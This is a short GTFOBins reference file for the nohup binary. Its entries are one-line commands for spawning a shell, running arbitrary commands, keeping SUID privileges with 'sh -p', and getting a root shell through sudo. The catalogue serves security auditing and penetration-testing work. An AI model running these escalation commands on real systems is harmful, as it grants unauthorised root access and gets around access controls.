GTFOBins.github.io/_gtfobins/nohup.md

15 lines
334 B
Markdown

---
functions:
shell:
- code: nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
command:
- code: |
COMMAND='/usr/bin/id'
nohup "$COMMAND"
cat nohup.out
suid:
- code: nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
sudo:
- code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
---